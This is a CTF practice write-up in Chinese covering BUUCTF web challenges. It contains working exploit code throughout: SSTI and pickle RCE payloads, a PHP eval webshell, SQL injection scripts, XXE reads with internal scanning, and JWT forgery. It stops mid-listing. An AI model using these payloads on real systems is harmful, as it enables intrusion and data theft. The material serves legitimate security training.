buuctf Web 刷题记录 3

参考:

php反序列化从入门到放弃(入门篇)

SSTI(模板注入)漏洞(入门篇)

[GYCTF2020]FlaskApp

观察hint猜测在decode界面可以报错,输入a解密即可得到/app/app.py部分代码

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)

掏出祖传payloadbase64加密后去解密界面输入即可)

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/app/app.py', 'r').read() }}{% endif %}{% endfor %}

得到源码

from flask import Flask,render_template_string
from flask import render_template,request,flash,redirect,url_for
from flask_wtf import FlaskForm
from wtforms import StringField, SubmitField
from wtforms.validators import DataRequired
from flask_bootstrap import Bootstrap
import base64

app = Flask(__name__)
app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y'
bootstrap = Bootstrap(app)

class NameForm(FlaskForm):
text = StringField('BASE64加密',validators= [DataRequired()])
submit = SubmitField('提交')
class NameForm1(FlaskForm):
text = StringField('BASE64解密',validators= [DataRequired()])
submit = SubmitField('提交')

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1


@app.route('/hint',methods=['GET'])
def hint():
txt = "失败乃成功之母!!"
return render_template("hint.html",txt = txt)


@app.route('/',methods=['POST','GET'])
def encode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64encode(text.encode())
tmp = "结果 :{0}".format(str(text_decode.decode()))
res = render_template_string(tmp)
flash(tmp)
return redirect(url_for('encode'))

else :
text = ""
form = NameForm(text)
return render_template("index.html",form = form ,method = "加密" ,img = "flask.png")

@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode())
tmp = "结果 : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode'))

else :
text = ""
form = NameForm1(text)
return render_template("index.html",form = form, method = "解密" , img = "flask1.png")


@app.route('/<name>',methods=['GET'])
def not_found(name):
return render_template("404.html",name = name)

if __name__ == '__main__':
app.run(host="0.0.0.0", port=5000, debug=True)

存在waf

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

稍微拼接下字符即可绕过,先查看目录

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("ls /").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

发现this_is_the_flag.txt

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
{% for b in c.__init__.__globals__.values() %}
{% if b.__class__ == {}.__class__ %}
{% if 'eva'+'l' in b.keys() %}
{{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl"+"ag.txt").read()') }}
{% endif %}
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}

也可以直接读取文件

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('/this_is_the_fl'+'ag.txt', 'r').read() }}{% endif %}{% endfor %}

还有一种计算Pin码的方法可以参考这篇博客

[极客大挑战 2019]RCE ME

<?php
error_reporting(0);
if(isset($_GET['code'])){
$code=$_GET['code'];
if(strlen($code)>40){
die("This is too Long.");
}
if(preg_match("/[A-Za-z0-9]+/",$code)){
die("NO.");
}
@eval($code);
}
else{
highlight_file(__FILE__);
}

// ?>

无数字字母RCE,使用取反查看phpinfo

/?code=(~%8F%97%8F%96%91%99%90)();

发现禁用了很多函数

pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,dl

写个马进去

<?php
error_reporting(0);
echo urlencode(~'phpinfo').PHP_EOL;
echo urlencode(~'assert').PHP_EOL;
echo urlencode(~'(eval($_POST[a]))').PHP_EOL;
?>

使用

GET:
/?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9E%A2%D6%D6);
POST:
a=phpinfo();

蚁剑连接,然后使用绕过disable_functions中的PHP7 GC with Certain Destructors UAF进入终端,执行根目录下的readflag即可

[WUSTCTF2020]颜值成绩查询

布尔盲注即可(注意空格被ban了,一开始没看出来,无语住了。。)flagvalue字段

import requests
import re
import time

url = "http://7e9f4e5b-51f8-45c5-b8fc-2269fcfbdfa7.node4.buuoj.cn:81/"


flag = ''
for i in range(1,60):
l = 32
r = 127
while l < r:
mid = (l+r)>>1
if(mid==l):
flag += chr(mid)
print(flag)
break
params = {
# 库:ctf
# "stunum":"if(ascii(substr((select/**/database()),{},1))<{},1,2)".format(i,mid)

# 表:flag,score
# "stunum":"if(ascii(substr((select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema=database()),{},1))<{},1,2)".format(i,mid)

# 列:flag,value
# "stunum":"if(ascii(substr((select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_name='flag'),{},1))<{},1,2)".format(i,mid)

# flag{138d54f0-4e99-4114-9f8b-c40a158e6b51}
"stunum":"if(ascii(substr((select/**/group_concat(value)/**/from/**/flag),{},1))<{},1,2)".format(i,mid)
}
time.sleep(0.1)
response = requests.get(url=url,params=params)
# print(response.text)
if "admin" in response.text:
r = mid
else:
l = mid

if flag[-1] == ' ' or flag[-1] == '}':
break

[MRCTF2020]套娃

查看源码发现

//1st
$query = $_SERVER['QUERY_STRING'];

if( substr_count($query, '_') !== 0 || substr_count($query, '%5f') != 0 ){
die('Y0u are So cutE!');
}
if($_GET['b_u_p_t'] !== '23333' && preg_match('/^23333$/', $_GET['b_u_p_t'])){
echo "you are going to the next ~";
}

空格、+[会被转化为_,传入下面的参数发现secrettw.php

/?b+u+p+t=23333%0a

查看源码发现jsfuck,直接控制台解码或者用该工具,得到post me Merak,传参后获得源码

<?php 
error_reporting(0);
include 'takeip.php';
ini_set('open_basedir','.');
include 'flag.php';

if(isset($_POST['Merak'])){
highlight_file(__FILE__);
die();
}


function change($v){
$v = base64_decode($v);
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) + $i*2 );
}
return $re;
}
echo 'Local access only!'."<br/>";
$ip = getIp();
if($ip!='127.0.0.1')
echo "Sorry,you don't have permission! Your ip is :".$ip;
if($ip === '127.0.0.1' && file_get_contents($_GET['2333']) === 'todat is a happy day' ){
echo "Your REQUEST is:".change($_GET['file']);
echo file_get_contents(change($_GET['file'])); }
?>

先用Client-ip: 127.0.0.1过掉对ip的判断,然后用php://input传入对应字符串到23333,最后用下面的代码生成flag.php对应的字符串

<?php

function dechange($v){
$re = '';
for($i=0;$i<strlen($v);$i++){
$re .= chr ( ord ($v[$i]) - $i*2 );
}
$payload = base64_encode($re);
return $payload;
}

$s = "flag.php";
echo dechange($s);
// ZmpdYSZmXGI=

最终payload

/secrettw.php?file=ZmpdYSZmXGI=&2333=php://input

POST:
todat is a happy day

Headers:
Client-ip: 127.0.0.1

[FBCTF2019]RCEService

打开发现要输入json格式命令,试了试发现下面这个可以

/?cmd={"cmd":"ls"}

然后一通试也试不出来,搜了下wp发现大家都有源码是吧。。。

<?php

putenv('PATH=/home/rceservice/jail');

if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];

if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}

?>

方法一

用换行去过掉正则

/?cmd={%0a"cmd":"ls /home/rceservice"%0a}
/?cmd={%0a"cmd":"/bin/cat /home/rceservice/flag"%0a}

这里cat用绝对路径是因为代码开头的putenv改变了环境变量

方法二

借鉴p牛的PCRE

import requests

url = 'http://b674a78d-a4b4-415f-be11-4c3c97552e20.node4.buuoj.cn:81'
payload = '{"cmd":"/bin/cat /home/rceservice/flag","evo":"' + 'a' * 1000000 + '"}'

# get会报414 Request-URI Too Large
response = requests.post(url=url,data={"cmd":payload})
print(response.text)

[Zer0pts2020]Can you guess it?

点击查看源码

<?php
include 'config.php'; // FLAG is defined in config.php

if (preg_match('/config\.php\/*$/i', $_SERVER['PHP_SELF'])) {
exit("I don't know what you are thinking, but I won't let you read it :)");
}

if (isset($_GET['source'])) {
highlight_file(basename($_SERVER['PHP_SELF']));
exit();
}

$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
$guess = (string) $_POST['guess'];
if (hash_equals($secret, $guess)) {
$message = 'Congratulations! The flag is: ' . FLAG;
} else {
$message = 'Wrong.';
}
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>Can you guess it?</title>
</head>
<body>
<h1>Can you guess it?</h1>
<p>If your guess is correct, I'll give you the flag.</p>
<p><a href="?source">Source</a></p>
<hr>
<?php if (isset($message)) { ?>
<p><?= $message ?></p>
<?php } ?>
<form action="index.php" method="POST">
<input type="text" name="guess">
<input type="submit">
</form>
</body>
</html>

漏洞点在basename处,利用这里可以实现文件任意读,参考烨的博客

/index.php/config.php/啊?source

[CISCN2019 华北赛区 Day1 Web2]ikun

查看源码

<!--这题脑洞确实有点大,所以我们留了些hint,请注意!-->
......
<!--ikun人肉并祭天了潜伏已久黑粉程序员,永远不要惹我们家kunkun!-->
<!--但是这个黑粉头子好像留了很多漏洞,有没有好心人帮我们家kunkun找出漏洞?!-->
<p class="zhenai">ikun们冲鸭,一定要买到lv6!!!</p>

应该是要买lv6,写个脚本找一下

import requests
import re

url = "http://6c7b4416-241f-4745-b73c-80387ced6729.node4.buuoj.cn:81/shop"

i = 1
while(True):
params = {
"page":i
}
response = requests.get(url=url,params=params)
if "lv6.png" in response.text:
print(i) #181
break
i+=1

181页发现,也就是/info/1624,注册个帐号购买,发现直接买钱不够。观察下买别的商品发现存在discount,故直接修改折扣即可,注意一下要POST的是shopcar页面,发现提示

Location: /b1g_m4mber

访问后提示只准admin访问,发现jwt字段,爆破一下

docker run -it --rm  jwtcrack eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImEifQ.B-OZYHuG5HRg_eOm_FujDz6VVR6xpA1ENW4jZ5D4qxo
Secret is "1Kun"

1kun伪造一下

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.40on__HQ8B2-wM1ZSwax3ivRK4j54jlaXv-1JjQynjo

源码发现

<!-- 潜伏敌后已久,只能帮到这了 -->
<a href="/static/asd1f654e683wq/www.zip" ><span style="visibility:hidden">删库跑路前我留了好东西在这里</span></a>
<div class="ui segments center padddd">
<!-- 对抗*站黑科技,目前为测试阶段,只对管理员开放 -->

下载下来进行审计,在Admin.py中发现有pickle.loads

class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')

@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)

没什么过滤,直接编写exp,注意是python2

# -*- coding: UTF-8 -*-
import pickle
import urllib

class payload(object):
def __reduce__(self):
return (eval, ("__import__('os').popen('cat /flag.txt').read()",))
# 也可以用"open('/flag.txt','r').read()"

a = pickle.dumps(payload())
a = urllib.quote(a)
print a
# pickle.loads(urllib.unquote(a))

打一下

become=c__builtin__%0Aeval%0Ap0%0A%28S%22__import__%28%27os%27%29.popen%28%27cat%20/flag.txt%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.

[CSCCTF 2019 Qual]FlaskLight

禁用了globalsssti,拼接一下就好

/?search={{().__class__.__base__.__subclasses__()[71].__init__['__glo'%2b'bals__']['os'].popen('cat /flasklight/coomme_geeeett_youur_flek').read()}}

可以看下源码

from flask import Flask, request, render_template_string, abort 
app = Flask(__name__)
app.secret_key = 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}'
result = ["CCC{Fl49_p@l5u}", "CSC CTF 2019", "Welcome to CTF Bois", "CCC{Qmu_T3rtyPuuuuuu}", "Tralala_trilili"]
@app.route("/")
def search():
global result
blacklist = ['url_for', 'listdir', 'globals']
search = request.args.get('search') or None
if search is not None:
for black in blacklist:
if black in search:
abort(500)
if search in result:
result = search
return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % (search, result))
elif search == None:
return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3><br> <!-- Parameter Name: search --> <!-- Method: GET --> </body> </html>''' % (search, result))
else:
result = []
return render_template_string('''<!DOCTYPE html> <html> <head> <title>Flasklight</title> </head> <body> <marquee><h1>Flasklight</h1></marquee> <h2>You searched for:</h2> <h3>%s</h3> <br> <h2>Here is your result</h2> <h3>%s</h3> </body> </html>''' % (search, result))
if __name__ == "__main__": app.run(host="0.0.0.0", port=9000)

ban掉了url_for, listdirglobals

[WUSTCTF2020]CV Maker

注册个帐号进去点上传发现

Warning: exif_imagetype(): Filename cannot be empty in /var/www/html/profile.php on line 76

发现是exif_imagetype判断文件类型,并且对后缀没限制,直接加个GIF89a的头上传个🐎然后蚁剑连接即可

[GWCTF 2019]枯燥的抽奖

点击一下看到源码

<?php
#这不是抽奖程序的源代码!不许看!
header("Content-Type: text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['seed'])){
$_SESSION['seed']=rand(0,999999999);
}

mt_srand($_SESSION['seed']);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
$str_show = substr($str, 0, 10);
echo "<p id='p1'>".$str_show."</p>";


if(isset($_POST['num'])){
if($_POST['num']===$str){x
echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>";
}
else{
echo "<p id=flag>没抽中哦,再试试吧</p>";
}
}
show_source("check.php");

爆破随机数的seed,给了字符串pZJjZcS0nS,写个脚本转换下格式

s1 = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'
s2 = 'pZJjZcS0nS'
res = ''
for i in s2:
index = s1.find(i)
res += str(index) + ' ' + str(index) + ' '+ '0' + ' ' + str(len(s1)-1) + ' '
print(res)
# 15 15 0 61 61 61 0 61 45 45 0 61 9 9 0 61 61 61 0 61 2 2 0 61 54 54 0 61 26 26 0 61 13 13 0 61 54 54 0 61

使用php_mt_seed工具爆破下

time ./php_mt_seed 15 15 0 61 61 61 0 61 45 45 0 61 9 9 0 61 61 61 0 61 2 2 0 61 54 54 0 61 26 26 0 61 13 13 0 61 54 54 0 61

得到653247404,进行预测

<?php
$seed = 653247404;
mt_srand($seed);
$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
$str='';
$len1=20;
for ( $i = 0; $i < $len1; $i++ ){
$str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1);
}
echo $str;//pZJjZcS0nS4x8IE1GF2v
?>

[NCTF2019]True XML cookbook

存在xxe

POST /doLogin.php HTTP/1.1
Host: c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81
Content-Length: 185
Accept: application/xml, text/xml, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Content-Type: application/xml;charset=UTF-8
Origin: http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81
Referer: http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE evo1 [
<!ENTITY flag SYSTEM "file:///proc/net/fib_trie">
]>

<user><username>
&flag;
</username><password>c</password></user>

一些常用内网探测

/proc/net/fib_trie
/proc/net/arp
/etc/hosts
/proc/net/tcp
/proc/net/udp
/proc/net/dev

发现10.244.80.165,爆破一下即可

import requests
import re

burp0_url = "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/doLogin.php"
burp0_headers = {"Accept": "application/xml, text/xml, */*; q=0.01", "X-Requested-With": "XMLHttpRequest", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Content-Type": "application/xml;charset=UTF-8", "Origin": "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81", "Referer": "http://c0e227bf-da5e-410d-83fc-5e7ff8421a70.node4.buuoj.cn:81/", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}
for i in range(0,256):
burp0_data = "<?xml version=\"1.0\" encoding=\"utf-8\"?> <!DOCTYPE evo1 [\r\n<!ENTITY flag SYSTEM \"http://10.244.80.{}\"> \r\n]> \r\n\r\n<user><username>\r\n&flag;\r\n</username><password>c</password></user>\r\n".format(i)
try:
response = requests.post(burp0_url, headers=burp0_headers, data=burp0_data, timeout=1)
print("[+]====>"+str(i)) #31,165,177,180,227
if "flag{" in response.text:
print(re.findall(r'flag{.*}',response.text)[0])
break
except:
print("[-]"+str(i))

[RCTF2015]EasySQL

取一个奇怪的用户名a\'"和密码``a'“然后去/changepwd.php`修改密码出现下述报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"a\'"" and pwd='a9d4759436b444ab83901f92c14d9208'' at line 1

是个二次注入并且有报错,并且根据前面的报错可以猜测出部分语句

where username="xxxx" and pwd='xxxx'

测试发现有些字符被ban掉了

空格、and、/**/、substr、left、right、mid

进行报错注入即可,为了方便简单写了个脚本

import re
import requests

url = 'http://99ee8eb9-e380-4cab-bba4-698d7d6bf05b.node4.buuoj.cn:81/'

burp0_headers = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding": "gzip, deflate", "Accept-Language": "zh-CN,zh;q=0.9", "Connection": "close"}

def register(username):

session = requests.session()

burp0_url = url + "register.php"
burp0_cookies = {"PHPSESSID": "kdm54kkheudhtcvk7mmt5eqbe0"}
burp0_data = {"username": username, "password": "a", "email": "a"}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
if "success" in r.text:
print("[+]Success!username:"+username)
elif "exist" in r.text:
print("[+]Success!user exists!username:"+username)
else:
print("[-]Error!\n",r.text)

def login(username):
session = requests.session()

burp0_url = url + "login.php"
burp0_data = {"username": username, "password": "a"}
# 需要禁止重定向,不然获取不到Set-Cookie
r = session.post(burp0_url, headers=burp0_headers, data=burp0_data, allow_redirects=False)
PHPSESSID = re.findall(r'PHPSESSID=(.*);',r.headers["Set-Cookie"])[0]
# print(PHPSESSID)
if PHPSESSID:
print("[+]PHPSESSID="+PHPSESSID)
return PHPSESSID
else:
print("[-]Fail!\n"+r.headers+'\n'+r.text)
return ''

def changepwd(PHPSESSID):
session = requests.session()

burp0_url = url + "changepwd.php"
burp0_cookies = {"PHPSESSID": PHPSESSID}

burp0_data = {"oldpass": "a", "newpass": "a"}
r = session.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
res = re.findall(r'XPATH syntax error:(.*)',r.text)[0]
return "[+]"+res

def getflag():
username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f'))),0x7e),1))#"
register(username)
PHPSESSID = login(username)
flag1 = changepwd(PHPSESSID)[6:17]
username = "-1\"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f')))),0x7e),1))#"
register(username)
PHPSESSID = login(username)
flag2 = changepwd(PHPSESSID)[6:-1]
print(flag1+flag2[::-1])

if __name__ == '__main__':
# 一键获取flag
getflag()

# 一步步获取flag
# 库 web_sqli
# username = "-1\"||(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#"
# 表 article,flag,users
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#"
# flag列 flag
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#"
# RCTF{Good job! But flag not her
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#"

# users列 name,pwd,email,real_flag_1s_her
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#"
# 使用正则获得完整列名 real_flag_1s_here
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1))#"
# flag{81f83db5-8290-4516-8e1b-1b
# username = "-1\"||(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f'))),0x7e),1))#"
# }b771e8faa7b1-b1e8-6154-0928-5b
# username = "-1\"||(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where((real_flag_1s_here)regexp('^f')))),0x7e),1))#"
# # 反转一下拼接起来flag{81f83db5-8290-4516-8e1b-1b7aaf8e177b}
# register(username)
# PHPSESSID = login(username)
# print(changepwd(PHPSESSID))

[CISCN2019 华北赛区 Day1 Web1]Dropbox

随便传一个gif发现有下载按钮,直接下载/var/www/html目录下的文件

index.php

<?php
session_start();
if (!isset($_SESSION['login'])) {
header("Location: login.php");
die();
}
?>


<!DOCTYPE html>
<html>

<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<title>网盘管理</title>

<head>
<link href="static/css/bootstrap.min.css" rel="stylesheet">
<link href="static/css/panel.css" rel="stylesheet">
<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
<script src="static/js/panel.js"></script>
</head>

<body>
<nav aria-label="breadcrumb">
<ol class="breadcrumb">
<li class="breadcrumb-item active">管理面板</li>
<li class="breadcrumb-item active"><label for="fileInput" class="fileLabel">上传文件</label></li>
<li class="active ml-auto"><a href="#">你好 <?php echo $_SESSION['username']?></a></li>
</ol>
</nav>
<input type="file" id="fileInput" class="hidden">
<div class="top" id="toast-container"></div>

<?php
include "class.php";

$a = new FileList($_SESSION['sandbox']);
$a->Name();
$a->Size();
?>

login.php

<?php
session_start();
if (isset($_SESSION['login'])) {
header("Location: index.php");
die();
}
?>

<!doctype html>

<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<meta name="description" content="">
<title>登录</title>

<!-- Bootstrap core CSS -->
<link href="static/css/bootstrap.min.css" rel="stylesheet">


<style>
.bd-placeholder-img {
font-size: 1.125rem;
text-anchor: middle;
}

@media (min-width: 768px) {
.bd-placeholder-img-lg {
font-size: 3.5rem;
}
}
</style>
<!-- Custom styles for this template -->
<link href="static/css/std.css" rel="stylesheet">
</head>

<body class="text-center">
<form class="form-signin" action="login.php" method="POST">
<h1 class="h3 mb-3 font-weight-normal">登录</h1>
<label for="username" class="sr-only">Username</label>
<input type="text" name="username" class="form-control" placeholder="Username" required autofocus>
<label for="password" class="sr-only">Password</label>
<input type="password" name="password" class="form-control" placeholder="Password" required>
<button class="btn btn-lg btn-primary btn-block" type="submit">提交</button>
<p class="mt-5 text-muted">还没有账号? <a href="register.php">注册</a></p>
<p class="text-muted">&copy; 2018-2019</p>
</form>
<div class="top" id="toast-container"></div>
</body>

<script src="static/js/jquery.min.js"></script>
<script src="static/js/bootstrap.bundle.min.js"></script>
<script src="static/js/toast.js"></script>
</html>


<?php
include "class.php";

if (isset($_GET['register'])) {
echo "<script>toast('注册成功', 'info');</script>";
}

if (isset($_POST["username"]) && isset($_POST["password"])) {
$u = new User();
$username = (string) $_POST["username"];
$password = (string) $_POST["password"];
if (strlen($username) < 20 && $u->verify_user($username, $password)) {
$_SESSION['login'] = true;
$_SESSION['username'] = htmlentities($username);
$sandbox = "uploads/" . sha1($_SESSION['username'] . "sftUahRiTz") . "/";
if (!is_dir($sandbox)) {
mkdir($sandbox);
}
$_SESSION['sandbox'] = $sandbox;
echo("<script>window.location.href='index.php';</script>");
die();
}
echo "<script>toast('账号或密码错误', 'warning');</script>";
}
?>

class.php

<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
